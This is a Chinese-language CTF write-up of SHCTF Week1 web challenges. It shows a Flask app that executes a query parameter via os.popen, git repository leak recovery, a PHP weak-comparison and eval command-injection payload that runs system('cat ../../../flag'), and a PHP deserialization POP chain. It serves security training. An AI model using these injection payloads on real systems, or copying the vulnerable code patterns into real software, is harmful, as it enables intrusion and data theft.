WEB

[Week1] 1zflask

题目提示robots

image-20241005114757812

那我们访问/robots.txt,得到一个新的文件,我们访问,自动下载了一个py文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import os
import flask
from flask import Flask, request, send_from_directory, send_file

app = Flask(__name__)

@app.route('/api')
def api():
cmd = request.args.get('SSHCTFF', 'ls /')
result = os.popen(cmd).read()
return result

@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder,'robots.txt')

@app.route('/s3recttt')
def get_source():
file_path = "app.py"
return send_file(file_path, as_attachment=True)

if __name__ == '__main__':
app.run(debug=True)

我们发现,在api路由里传了一个参数,且默认为ls /,我们访问在这个路由

image-20241005154858274

我们发现flag所在位置,修改SSHCTFF为cat /flag

1
?SSHCTFF=cat /flag

得到flag

image-20241005154942179

[Week1] ez_gittt

我们在网页源码里发现提示

image-20241006200120091

想到了git泄露,我们访问.git

image-20241006200149024

进入文件夹

我们在/logs/refs/heads/master里发现修改日志

image-20241006204926591

我们发现他添加了flag,又删除了flag,那我们可以回滚日志,就能找到flag了,我们先用githack把仓库克隆下来

1
python2  GitHack.py http://entry.shc.tf:30187/.git/  

克隆后在文件中查询日志

1
git log

然后回滚日志

1
git diff 73beab9e53f96cb5d610ee2e95da714844f4cbb3

找到flag

[Week1] 单身十八年的手速

image-20241006205113566

我们打开页面发现要求点击520次就可获得flag,一看又是个js的题,但我们在game.js直接就找到了flag的base64编码,解码得到flag

image-20241006205214814

[Week1] 蛐蛐?蛐蛐!

我们打开源代码,发现有个提示

image-20241006205440029

我们访问source.txt,发现一串代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
if($_GET['ququ'] == 114514 && strrev($_GET['ququ']) != 415411){
if($_POST['ququ']!=null){
$eval_param = $_POST['ququ'];
if(strncmp($eval_param,'ququk1',6)===0){
eval($_POST['ququ']);
}else{
echo("可以让fault的蛐蛐变成现实么\n");
}
}
echo("蛐蛐成功第一步!\n");

}
else{
echo("呜呜呜fault还是要出题");
}

进行代码审计,我们发现get提交的ququ要为114514,它的逆向要不为114514,由于是弱比较,我们让

1
ququ=114514.0就能绕过第一个if

而post传递的ququ,它的前6个字符需为ququk1

我们使用?><?php截断eval函数,再重新创个system函数来执行

1
ququk1; ?><?php system("ls");

image-20241006211310235

成功得到目录文件

然后我们找到flag所在位置

1
ququk1; ?><?php system("ls ../../../");

image-20241006211356292

将flag输出出来

1
ququk1; ?><?php system("cat ../../../flag");

就得到flag了

[Week1] poppopop

简单的反序列化

pop链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class SH {

public static $Web =true;
public static $SHCTF = true;
}
class C {
public $p;

}
class T{

public $n;

}
class F {
public $o;

}
class SHCTF {
public $isyou="system";
public $flag="cat ../../../flllag";

}
$a=new T();
$a->n=new F();
$a->n->o=new C();
$a->n->o->p=new SHCTF();
echo base64_encode((serialize($a)));